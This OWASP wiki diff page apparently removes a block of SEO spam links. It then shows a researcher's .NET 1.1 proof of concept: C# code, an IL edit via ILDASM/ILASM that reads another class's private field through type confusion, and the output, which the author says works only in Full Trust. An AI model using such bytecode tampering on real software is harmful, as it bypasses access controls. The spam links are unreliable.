Difference between revisions of "Possible Type Confusion issue in .Net 1.1 (only works in Full Trust)"

From OWASP
Jump to: navigation, search
(Reverting to last version not containing links to www.textriccnaracac.com)
 
(2 intermediate revisions by 2 users not shown)
Line 1: Line 1:
[http://s1.shard.jp/frhorton/9nls8flts.html auction south africa
 
] [http://s1.shard.jp/galeach/new100.html tsunami diaster in asia
 
] [http://s1.shard.jp/losaul/the-australian.html road maps new south wales australia
 
] [http://s1.shard.jp/olharder/44-auto-trader-nz.html tokyo auto show mitsubishi
 
] [http://s1.shard.jp/olharder/auto-bill-fitts.html what is comprehensive auto insurance coverage
 
] [http://s1.shard.jp/bireba/notron-antivirus.html nortan antivirus 2005 download
 
] [http://s1.shard.jp/losaul/car-hire-brisbane.html car hire brisbane airport australia] [http://s1.shard.jp/galeach/new136.html barrino fantasia lyric
 
] [http://s1.shard.jp/losaul/centacare-australia.html company sponsorship australia
 
] [http://s1.shard.jp/galeach/new41.html milk and cerial asian version
 
] [http://s1.shard.jp/bireba/norton-antivirus.html norton antivirus live update error] [http://s1.shard.jp/bireba/symantec-antivirus.html avgfreeantivirus
 
] [http://s1.shard.jp/frhorton/tyyykyebz.html africa aids in keep spreading why
 
] [http://s1.shard.jp/bireba/norton-antivirus.html e trust antivirus free download
 
] [http://s1.shard.jp/bireba/symantec-antivirus.html mc affee antivirus
 
] [http://s1.shard.jp/losaul/murrays-buses.html murrays buses australia] [http://s1.shard.jp/galeach/new87.html abbyy asia brand capture product recognition server
 
] [http://s1.shard.jp/losaul/ash-australia.html people to people australia 2005
 
] [http://s1.shard.jp/losaul/aborigines--dreamtime.html australia telephone directory online
 
] [http://s1.shard.jp/frhorton/po4uhk6ve.html mintys south africa
 
] [http://s1.shard.jp/olharder/autoroll-654.html top] [http://s1.shard.jp/bireba/mac-antivirus.html mac antivirus free] [http://s1.shard.jp/frhorton/3o7l9jema.html african bubble butt
 
] [http://s1.shard.jp/olharder/auto-el-loan.html chicago area auto molding parts store
 
] [http://s1.shard.jp/galeach/new47.html angiodisplasia
 
] [http://s1.shard.jp/olharder/autoroll-654.html top] [http://s1.shard.jp/bireba/panda-software.html giant antivirus software
 
] [http://s1.shard.jp/galeach/new139.html asian store in maryland
 
] [http://s1.shard.jp/frhorton/ds9o5dtz4.html africaine peinture
 
] [http://s1.shard.jp/frhorton/sofu2962u.html african braided hair
 
] [http://s1.shard.jp/bireba/antivirus-cleanup.html what is antivirus program
 
] [http://s1.shard.jp/losaul/yamaha-motorcycle.html cork flooring australia
 
] [http://s1.shard.jp/olharder/automotive-training.html autocontrol three.1
 
] [http://s1.shard.jp/losaul/the-barrier-reef.html australian railway historical society nsw
 
] [http://s1.shard.jp/frhorton/j45p2foyu.html rainy season in africa
 
] [http://s1.shard.jp/bireba/stinger-antivirus.html english updates for norton antivirus virus defenitions
 
] [http://s1.shard.jp/frhorton/4klamxahb.html aids percentage africa
 
] [http://s1.shard.jp/losaul/australian-motorsportbiz.html ian potter centre australia
 
] [http://s1.shard.jp/bireba/top-antivirus.html symantac antivirus update
 
] [http://s1.shard.jp/galeach/new33.html asia girls.com
 
] [http://s1.shard.jp/olharder/cheap-auto-insurance.html 27 auto become br br break line poker tag
 
] [http://s1.shard.jp/galeach/new138.html asian american basketball league
 
] [http://s1.shard.jp/frhorton/9rxlvcl6n.html etv news south africa
 
] [http://s1.shard.jp/olharder/autoroll-654.html map] [http://s1.shard.jp/olharder/autoextracom.html johns auto sales inc
 
] [http://s1.shard.jp/olharder/automobile-bmw.html auto bc trader vancouver
 
 
http://www.textriccnaracac.com
 
 
while doing my Rooting the CLR research I found something which I thing could be a 'Type Confusion issue' in .Net 1.1 (see more details about these issues in this great document on Java Security published by the LSD Research group http://lsd-pl.net/papers.html#java) [[Category:FIXME|link not working]]
 
while doing my Rooting the CLR research I found something which I thing could be a 'Type Confusion issue' in .Net 1.1 (see more details about these issues in this great document on Java Security published by the LSD Research group http://lsd-pl.net/papers.html#java) [[Category:FIXME|link not working]]
  

Latest revision as of 13:29, 27 May 2009

while doing my Rooting the CLR research I found something which I thing could be a 'Type Confusion issue' in .Net 1.1 (see more details about these issues in this great document on Java Security published by the LSD Research group http://lsd-pl.net/papers.html#java)

Here are my test:

1) Compile this:

using System;
namespace RootingTheClr
{
   class classTest
   {
       public static void Main()
       {
           Console.WriteLine("\n\n classTest \n\n");
           normalClass ncTest = new normalClass();                  
           maliciousClass mcTest = (maliciousClass)new maliciousClass();           
            normalClass ncTestTarget = ncTest;
           Console.WriteLine("Public = " + mcTest.iPublicVar + "    Private = " + mcTest.iPrivateVar );
       }
   }
   class normalClass
    {
       public int iPublicVar;
       private int iPrivateVar;
       public normalClass()
       {
           iPrivateVar = 100;
           iPublicVar = 999;
       }
   }
   class maliciousClass
   {
       public int iPublicVar;
       public int iPrivateVar;
       public maliciousClass()
       {
           iPrivateVar = 1;
           iPublicVar = 9;
       }
   }
}

2) and you should get this (note the value of Private):

csc classtest.cs
Microsoft (R) Visual C# .NET Compiler version 7.10.3052.4
for Microsoft (R) .NET Framework version 1.1.4322
Copyright (C) Microsoft Corporation 2001-2002. All rights reserved.
classTest.cs(21,15): warning CS0169: The private field
       'RootingTheClr.normalClass.iPrivateVar' is never used
classTest.exe


classTest


Public = 9    Private = 1

3) run ILDASM on the exe:

ildasm classTest.exe /out:classTest.il
// WARNING: Created Win32 resource file classTest.res

4) Notepad it and make this change:

notepad classTest.il
replace
     IL_0010:  newobj     instance void RootingTheClr.maliciousClass::.ctor()
with
     IL_0010:  newobj     instance void RootingTheClr.normalClass::.ctor()

5) Ilasm the file

ilasm classTest.il
Microsoft (R) .NET Framework IL Assembler.  Version 1.1.4322.573
Copyright (C) Microsoft Corporation 1998-2002. All rights reserved.
Assembling 'classTest.il' , no listing file, to EXE --> 'classTest.EXE'
Source file is ANSI
Assembled method classTest::Main
Assembled method classTest::.ctor
Assembled method normalClass::.ctor
Assembled method maliciousClass::.ctor
Creating PE file
Emitting members:
Global
Class 1 Methods: 2;
Class 2 Fields: 2;      Methods: 1;
Class 3 Fields: 2;      Methods: 1;
Resolving member refs: 8 -> 8 defs, 0 refs
Writing PE file
Operation completed successfully

6) execute it (note the value of Private)

classTest.exe


classTest


Public = 999    Private = 100

7) This means that we successuflly were able to cast an object of the class normalClass into an object of the class maliciousClass. The attack vector occours because iPrivateVar is a pubic var in maliciousClass and a private var in normalClass


class maliciousClass
   {
       public int iPublicVar;
       public int iPrivateVar;
...
   class normalClass
   {
       public int iPublicVar;
       private int iPrivateVar;
...
---------
  • 8) what is interresting is that this only works in Full Trust, if you try to run this in a partial trust environment like from a local network share) you will get the following error:
classTest.exe
Unhandled Exception: System.Security.VerificationException: Operation could destabilize the runtime.
  at RootingTheClr.classTest.Main()

This means that the CLR in partial trust does do some verification on the compliled Byte code which is not done in Full Trust (which will mean that Microsoft Security Response Team will say that this is not a vulnerabiltiy and occours by design :)